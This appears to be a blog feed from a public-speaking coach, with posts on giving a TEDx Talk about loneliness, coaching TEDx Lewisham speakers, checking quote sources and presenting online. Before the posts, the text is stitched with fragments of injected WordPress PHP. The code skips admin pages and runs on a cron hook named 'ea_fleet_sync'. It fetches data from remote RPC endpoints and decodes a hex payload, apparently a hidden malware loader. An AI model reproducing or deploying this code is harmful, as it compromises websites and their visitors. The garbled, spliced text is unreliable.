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$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
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foreach($rpcs as $_rpc){
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$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
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if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
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add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
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]]>Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work and deliver my idea worth spreading.
What I hadn’t realised was how challenging the experience would be and the learnings I would derive.

Here are my five things TED shows us.
TED talks are no different from any talk or presentation in that they all need a clear message, an idea worth spreading, that the audience will value; a message that will effect change in what they think, feel and do in relation to the subject.
Without this clarity, it’s hard to assemble the right content so that it delivers a clear and memorable message.
If you can’t sum up your message in a few words, it almost certainly needs more thought. And if YOU can’t sum up your message in a few words, your audience has no chance.
The message of my TEDx Talk was that loneliness ruins lives and we all have a responsibility to try and smash the loneliness pandemic. I embedded this message – the problem and the solution – in a memorable anchor phrase, ‘Loneliness shatters. Community matters.’
Please enjoy and comment on my TEDx Talk, ‘Reach out and smash the loneliness pandemic’.
Nothing thrills me more than teamwork, so why treat a TEDx Talk any differently?
I made myself a list of people whose advice I cherish, both as friends and speakers. Then I approached each one to see if they’d like to help. Some of us met on Zoom, some of us met in person for dinner or coffee, some showed up on the day to watch the speech live.
We brainstormed ideas, evolved a speech and shared feedback to craft and hone my talk.
And the most wonderful thing for me was when everyone who helped expressed an interest in staying involved beyond an initial meeting. Their continuous help and support was inspirational.
So, never be afraid to ask for help. Fresh perspectives and ideas are always useful, along with a healthy dose of sense checking, feedback and encouragement. TED shows us that we are definitely better together.
It’s too easy to practise a talk in front of a mirror or record and playback, whatever your preference. But the important thing is to create a sense of reality that will ramp up the nerves of being in front of an audience and give you a better idea of how everything is working for you.
In front of a mirror, I was great! Word perfect. As soon as I went in front of people, whether in a Zoom meeting, trying it out in a café or delivering at a TEDxLewisham dress rehearsal, I fell apart. At one such event, my knees were shaking so much, I thought I was going to fall over. Every time, I would suddenly lose my way and forget what I wanted to say.
Time to remember that preparation is about internalising, not memorising, a speech. Reminding myself of my speech route map, I was liberated from my script and free to read the room, interact with my audience and sound relaxed, natural and conversational.
From an anxiety point of view, giving a TEDx Talk was one of the hardest things I’ve ever done. As an experienced speaker, I was a bit shocked by my reactions and wanted to understand better what was happening to me.
The two main negative voices in my head that are always likely to give me a hard time are the “perfectionist” and the “hyper-achiever”. And I was feeding them both.
In my capacity of public speaking coach, I think I gave too much weight to the TEDx opportunity and the importance in my head of doing a good job. My hyper-achiever was out with a vengeance, with an internal monologue that repeatedly told me, ‘If you mess up, what does it say about you as a coach?’
TED was my dream and everything was unravelling, but I wasn’t giving in that easily! I had to find a way to enjoy my moment on the TEDx “red dot”.
On the day, I was surrounded by fellow speakers and lovely friends. The mutual support and encouragement were phenomenal.
As I took to the stage, wrapped in their warm and positive vibes, I reminded myself that I had a speech I was proud of , with a relevant and relatable message.
I looked around the audience, raised my hand and began…
‘Hands up if you’ve ever felt lonely’. Up went a strong show of hands and we were off… speaker and audience together. We enjoyed sharing relatable experiences and I thoroughly enjoyed sharing my stories.
TED shows us that to bring a speech or presentation to life in an engaging and memorable way needs a clear idea worth spreading, preparation, confidence and, above all else, connection with your audience.
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I can think of two big reasons to be careful with quotes:
1. They can feel really repetitive and clichéd as the same thoughts appear over and over again.
2. Quotes need checking. Misattribution is common.
For instance, Maya Angelou is often credited with this quote:
‘They may forget what you said, but they will never forget how you made them feel.’
It seems the actual author was Carl W Buehner. Beware the quote source.
Quote Investigator is a good online place to start checking quotes, especially those you find on the Internet rather than read yourself in an original book.
In my recent TEDxTalk, the early drafts ended with this quote:
‘Never doubt that a small group of thoughtful, committed citizens can change the world. Indeed, it’s the only thing that ever has’ (Margaret Mead).
I eventually replaced Margaret Mead’s words with my own anchor phrase – ‘Loneliness shatters. Community matters’. It’s memorable and the audience joined me in the connection sweet spot by chorusing the last word of my talk with me.
If giving talks and presentations is an act of thought leadership and changing what people think, feel and do, then beware the quote.
Your original thoughts and words have greater sincerity and power to make a difference than trotting out other people’s quotes we’ve probably heard before.
Thanks to The Knowledge for the Dorothy Sayers quote.
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]]>As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best version of every speech. It was magical.
The essentials of speeches that make a difference were evident.
They were CONFIDENT speakers. They prepared thoroughly. They’d practised alone, in front of family and friends, in front of each other. Over and over. Not a trace of nerves; not a shaky voice to be heard, not even in their opening sentences.
And all seamlessly woven together by our loving and empowering host, ‘Ronke Kokoruwe. Confident speakers are, indeed, frequent speakers, and it showed.
The CONNECTION between speakers and audience was palpable:
It was a community event and every speaker lives in Lewisham
They spoke about real issues that affect us all, that we all care about
Speaker and audience interacted in that sweetspot where relevant meets relatable
We embodied diversity. Diverse ideas. Diverse speakers – gender, age, ethnicity, disabled people, work sector… Diverse audience, incl the 3-year-old there to support his mum 
And, sealing the connection, storytelling that was vulnerable, humorous, emotive, had you crying one moment and laughing the next, was warm and inviting, relevant and, above all, memorable
People will be retelling those stories for years and remembering how they made them think and feel.
TED. #ideasworthspreading. As John F Kennedy said, “The only reason to give a speech is to CHANGE the world.”
Every speech was alive with a vision and a clear message to change hearts and minds, change how we now think, feel and act in our own lives.
Every speaker was seen, heard and made an impact.
All directed and curated by the energetic, empowering and caring Rachel Onikosi. She set the bar high and the team brought home the gold!
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]]>Top pitfalls in online talks and presentations include insufficient energy, poor eye contact, lack of clear relevance, monotonous voice, poorly told or no stories, confusing message and structure, and hiding behind slides/PowerPoints.
But what is the online mindset and how do we get it and avoid these pitfalls?
Your camera and mic can see and hear everything, but is it what you want your audience in the front row to see and hear?
Before joining a meeting with camera/video on, check:
People in a virtual audience often feel left out or alone, even when there are hundreds of people in the same meeting. We need to help them feel involved. Your body language is a good place to start:
And then draw them in further by creating opportunities to interact through the chat, reactions, breakouts, whiteboards, Q&A, etc. One-way communication only adds to the sense of being home alone.
Online audiences show up, physically, thinking ‘What’s In It For Me?’ If you don’t pique their curiosity, their minds will soon drift to their email, Instagram and who knows what else.
We need to be relevant and quickly give our audience a reason to listen. It’s no coincidence that most TV programmes nowadays start with a dramatic happening and when they’ve hooked us in, they roll the credits. Same with your talks and presentations. In most cases, you can save thank you and event protocols until after your opening remarks.
Online, we’re impatient. You’ve got just seconds to grab someone’s attention and demonstrate you have something relevant that they’ll value:
Online, you lose the collective response of an audience being together in the same room as you. Now, it’s just you and your one-to-one connection with each individual member of your audience in their front-row seat.
To achieve connection, we need to be relatable, human to human. The best way we can achieve this is through the stories we tell. Ideally, they:
And your newfound friend in the front row will help you read the room. Glance and gauge the energy and engagement of a few people and also factor in how you’re feeling, rather than trying to read the reactions of every individual on your screen.
Giving talks and presentations is your opportunity to persuade and inspire, to keep yourself and your organisation visible, and to pay it forward, building our collective knowledge by sharing ideas.
Recognising the online mindset and its impact on what you say and how you say it will make your talks stand out and impact your key target audiences.
First published as guest blog by Comms Rebel
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